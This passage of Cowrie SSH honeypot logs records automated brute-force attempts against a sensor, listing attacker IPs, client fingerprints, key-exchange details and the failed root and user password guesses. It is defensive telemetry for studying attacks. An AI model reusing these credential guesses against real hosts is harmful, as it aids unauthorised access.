.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:10.907059Z","src_ip":"45.148.147.191","session":"048063bdcf62","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"65:d0:cc:77:70:0a:a7:77:ce:4e:ea:f9:93:cf:1d:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7BKw5DLp00fPaEOc4qT8BCxnZMDkCwZ2ixd5Y3GI5PqKHmwZMfyqxtauEPKOCCuzQH+LVECbTSsXS6KnHypGpU2zAageMBlSWVi1RYH8OAkOn+q1Y7ibiNuc5o/r2upSI7zN8N1AMx4TjFbH3Kf/9iA/6UzKCjL0sKu/GTEOM/nkJz0UFx26jxpg5UjzbvYVxy0eCThjB8Kku0KvwAjujTnn+6Abcg8muDFrx5Z0gpZKqyhZVNpvejgZdfJgSzO2zzs43ztPgI+CrDeinnwqnIcQgzKdIRhbByaDWD77Xm4xC+HXq2R/qEhj62ULrWLywsr9wBUpA3/nH7DlRNqlv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 65:d0:cc:77:70:0a:a7:77:ce:4e:ea:f9:93:cf:1d:40","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:11.321025Z","src_ip":"45.148.147.191","session":"048063bdcf62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"65:d0:cc:77:70:0a:a7:77:ce:4e:ea:f9:93:cf:1d:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7BKw5DLp00fPaEOc4qT8BCxnZMDkCwZ2ixd5Y3GI5PqKHmwZMfyqxtauEPKOCCuzQH+LVECbTSsXS6KnHypGpU2zAageMBlSWVi1RYH8OAkOn+q1Y7ibiNuc5o/r2upSI7zN8N1AMx4TjFbH3Kf/9iA/6UzKCjL0sKu/GTEOM/nkJz0UFx26jxpg5UjzbvYVxy0eCThjB8Kku0KvwAjujTnn+6Abcg8muDFrx5Z0gpZKqyhZVNpvejgZdfJgSzO2zzs43ztPgI+CrDeinnwqnIcQgzKdIRhbByaDWD77Xm4xC+HXq2R/qEhj62ULrWLywsr9wBUpA3/nH7DlRNqlv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:11.325080Z","src_ip":"45.148.147.191","session":"048063bdcf62","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"26:4c:d7:19:22:27:a7:4f:f6:b2:88:74:26:0f:78:0d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjQwQ1WlaiObCALd108KB4mQ5IBu80zife7Yfr14s8kyoxQ84eFHt3xInWMh7pfIJxEKG317O0ToRayDnFH0G/VIugO77HMf4LKeiTDnX2SibEm0fcZ2tBLpW3BQ0SsP8l5iMNz080Xmbp1ACAWYSyFY1SXVEvYuGx7mYJJeyJrV1AvlES32TOcQYqUZxViM0ookVvcYRs5r8R5z8o9jTN0YIk1iDo9JB14kuqmvrp5YHGotiiM2ZsdqhEKZn6nsdtZrwwMtqIpIRS50RUQmVbaS2Bi7wiMW+5gERsYLIK54BKwigF2I254xKMiUIpu2G88Ka6N3dBvzLwYaxyBkHV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 26:4c:d7:19:22:27:a7:4f:f6:b2:88:74:26:0f:78:0d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:11.413349Z","src_ip":"45.148.147.191","session":"048063bdcf62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"26:4c:d7:19:22:27:a7:4f:f6:b2:88:74:26:0f:78:0d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjQwQ1WlaiObCALd108KB4mQ5IBu80zife7Yfr14s8kyoxQ84eFHt3xInWMh7pfIJxEKG317O0ToRayDnFH0G/VIugO77HMf4LKeiTDnX2SibEm0fcZ2tBLpW3BQ0SsP8l5iMNz080Xmbp1ACAWYSyFY1SXVEvYuGx7mYJJeyJrV1AvlES32TOcQYqUZxViM0ookVvcYRs5r8R5z8o9jTN0YIk1iDo9JB14kuqmvrp5YHGotiiM2ZsdqhEKZn6nsdtZrwwMtqIpIRS50RUQmVbaS2Bi7wiMW+5gERsYLIK54BKwigF2I254xKMiUIpu2G88Ka6N3dBvzLwYaxyBkHV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:11.421267Z","src_ip":"45.148.147.191","session":"048063bdcf62","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e0:41:35:58:ba:f0:1c:1e:7d:ff:f5:fe:f1:46:2b:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdAlaJ0mUmF2EAuq/ouJNJ/aJI65mcJf82bU7k2VvpucNCwmvF7DeEjRiDor1DFNq/Xi6l/qb/sMuqfEmosvF4C4w5BvyrSaDGeqFZMMJ5NQrKInjzmYcgEKYJQJee8bbc8XiuFKDM8SHVegY4XQbLX5cmdrMUTHrCQumS90Q1HgiK5pDVA10Ci4iMUb5eitIId2Xp5KJgMJjrxEsEA+ePQBpMAM7MbXaRjOe8U8Y85QyTFm6lhQtZNKIpf3ccqm44aCq7x2uLMV0tOnzU1gu8iL0tNaglw9Mgy6PGqXDTy3ILxTOtWy5R1jK9Fnwp6WzrFAr48H3kvsFz0sdAF2cj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e0:41:35:58:ba:f0:1c:1e:7d:ff:f5:fe:f1:46:2b:ab","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:11.510107Z","src_ip":"45.148.147.191","session":"048063bdcf62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e0:41:35:58:ba:f0:1c:1e:7d:ff:f5:fe:f1:46:2b:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdAlaJ0mUmF2EAuq/ouJNJ/aJI65mcJf82bU7k2VvpucNCwmvF7DeEjRiDor1DFNq/Xi6l/qb/sMuqfEmosvF4C4w5BvyrSaDGeqFZMMJ5NQrKInjzmYcgEKYJQJee8bbc8XiuFKDM8SHVegY4XQbLX5cmdrMUTHrCQumS90Q1HgiK5pDVA10Ci4iMUb5eitIId2Xp5KJgMJjrxEsEA+ePQBpMAM7MbXaRjOe8U8Y85QyTFm6lhQtZNKIpf3ccqm44aCq7x2uLMV0tOnzU1gu8iL0tNaglw9Mgy6PGqXDTy3ILxTOtWy5R1jK9Fnwp6WzrFAr48H3kvsFz0sdAF2cj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:11.514242Z","src_ip":"45.148.147.191","session":"048063bdcf62","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"24:7e:57:ee:c5:65:41:2f:db:93:07:70:90:df:5b:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDeXkMNl0Zik0t61Ig4FEnWGV5MRZJGRqn9XJdaavYw22e6c1V6BZ3XNAnBmEa5/6Tmxo5Z2U6pdqMAFcyx0T7qlvoF4UU2M+R0VFJZb6ok3ULnVgXqrWWzqpe0Ftz4nvG2A8uYOwazj3kW+2XpIG8KPLlEZMv0S5JAWLbqM5HKYNchvfXpD9Stjuj+n+EYg29zUxNDfUy7DTAKdrlAX4Uxfy+cnaEbjo+HGU/QRUVfGF+PSvnk4hgka2EzvAV86pWe4lFjyKVu8UjgrebwJT7zu5+TvPqZNRa7D44pMamQWtosKe/O8rEK2qg6hCBtjDDZWkP52AZfP6aok7EKKTvN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 24:7e:57:ee:c5:65:41:2f:db:93:07:70:90:df:5b:f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:11.602012Z","src_ip":"45.148.147.191","session":"048063bdcf62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"24:7e:57:ee:c5:65:41:2f:db:93:07:70:90:df:5b:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDeXkMNl0Zik0t61Ig4FEnWGV5MRZJGRqn9XJdaavYw22e6c1V6BZ3XNAnBmEa5/6Tmxo5Z2U6pdqMAFcyx0T7qlvoF4UU2M+R0VFJZb6ok3ULnVgXqrWWzqpe0Ftz4nvG2A8uYOwazj3kW+2XpIG8KPLlEZMv0S5JAWLbqM5HKYNchvfXpD9Stjuj+n+EYg29zUxNDfUy7DTAKdrlAX4Uxfy+cnaEbjo+HGU/QRUVfGF+PSvnk4hgka2EzvAV86pWe4lFjyKVu8UjgrebwJT7zu5+TvPqZNRa7D44pMamQWtosKe/O8rEK2qg6hCBtjDDZWkP52AZfP6aok7EKKTvN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:11.606485Z","src_ip":"45.148.147.191","session":"048063bdcf62","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d6:e5:f2:cb:aa:db:51:11:0b:c4:9b:ee:50:ae:8d:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjV4L2WrXwbBeqCi88kdRqxju/+Uh4zGswcYQ5spv7mt+wz4/kBEprnjvQLFyOdW0HDroQ+z+B3VSJXgC1/u27jrOd0u9vRoBhWes1SGTW5RiET0Bfp7s/vaaipHn7Zcrhjw3kti7yDxlob8kBdGx1phmBrexzFf3vm0TOiBgtpsVUf0pbCi1BCv3KKhPemhSj7VLk5bSJIFdWqt6GaBcIYvitT/djtfDGCFNETiU4G1NQJTsIkt+9ppQ+ym7LUSvm86aXCiMMOmfDXgfpdRu6hZo9c9FYfcvXiQvQmTadP/zZO0Tx1hlC0Aw3m8y+chjGGMHdC33ZbyqJ9mXCsohJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d6:e5:f2:cb:aa:db:51:11:0b:c4:9b:ee:50:ae:8d:48","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:11.693987Z","src_ip":"45.148.147.191","session":"048063bdcf62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d6:e5:f2:cb:aa:db:51:11:0b:c4:9b:ee:50:ae:8d:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjV4L2WrXwbBeqCi88kdRqxju/+Uh4zGswcYQ5spv7mt+wz4/kBEprnjvQLFyOdW0HDroQ+z+B3VSJXgC1/u27jrOd0u9vRoBhWes1SGTW5RiET0Bfp7s/vaaipHn7Zcrhjw3kti7yDxlob8kBdGx1phmBrexzFf3vm0TOiBgtpsVUf0pbCi1BCv3KKhPemhSj7VLk5bSJIFdWqt6GaBcIYvitT/djtfDGCFNETiU4G1NQJTsIkt+9ppQ+ym7LUSvm86aXCiMMOmfDXgfpdRu6hZo9c9FYfcvXiQvQmTadP/zZO0Tx1hlC0Aw3m8y+chjGGMHdC33ZbyqJ9mXCsohJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:11.698671Z","src_ip":"45.148.147.191","session":"048063bdcf62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:11.786495Z","src_ip":"45.148.147.191","session":"048063bdcf62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":51310,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c006f65e25d","protocol":"ssh","message":"New connection: 103.172.78.219:51310 (10.17.0.5:22) [session: 1c006f65e25d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:15.081682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:15.087757Z","src_ip":"103.172.78.219","session":"1c006f65e25d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:15.343796Z","src_ip":"103.172.78.219","session":"1c006f65e25d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"goldendmarlin272","message":"login attempt [root/goldendmarlin272] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:16.112952Z","src_ip":"103.172.78.219","session":"1c006f65e25d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:17.370355Z","src_ip":"103.172.78.219","session":"1c006f65e25d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":38020,"dst_ip":"159.203.135.109","dst_port":22,"session":"5abf57ee8a1d","protocol":"ssh","message":"New connection: 194.113.233.25:38020 (159.203.135.109:22) [session: 5abf57ee8a1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:24.774222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:24.779277Z","src_ip":"194.113.233.25","session":"5abf57ee8a1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:24.869481Z","src_ip":"194.113.233.25","session":"5abf57ee8a1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3easd","message":"login attempt [root/1q2w3easd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:25.140643Z","src_ip":"194.113.233.25","session":"5abf57ee8a1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:26.232715Z","src_ip":"194.113.233.25","session":"5abf57ee8a1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":51834,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b6ecb9fc974","protocol":"ssh","message":"New connection: 193.32.162.151:51834 (159.203.135.109:22) [session: 2b6ecb9fc974]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:38.936457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:38.941464Z","src_ip":"193.32.162.151","session":"2b6ecb9fc974","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:39.044516Z","src_ip":"193.32.162.151","session":"2b6ecb9fc974","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"epsuser","password":"12345","message":"login attempt [epsuser/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:39.344405Z","src_ip":"193.32.162.151","session":"2b6ecb9fc974","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:40.453338Z","src_ip":"193.32.162.151","session":"2b6ecb9fc974","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.228.112.254","src_port":41000,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a4903a4d693","protocol":"ssh","message":"New connection: 43.228.112.254:41000 (10.17.0.5:22) [session: 2a4903a4d693]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:41.252365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:41.256546Z","src_ip":"43.228.112.254","session":"2a4903a4d693","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:41.467539Z","src_ip":"43.228.112.254","session":"2a4903a4d693","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"administrator1234567890","message":"login attempt [root/administrator1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:42.345064Z","src_ip":"43.228.112.254","session":"2a4903a4d693","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:43.564485Z","src_ip":"43.228.112.254","session":"2a4903a4d693","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":41542,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d636a3eb8fd","protocol":"ssh","message":"New connection: 87.251.79.125:41542 (10.17.0.5:22) [session: 2d636a3eb8fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:51.280763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:51.285223Z","src_ip":"87.251.79.125","session":"2d636a3eb8fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:51.360314Z","src_ip":"87.251.79.125","session":"2d636a3eb8fd","protocol":"ssh"}
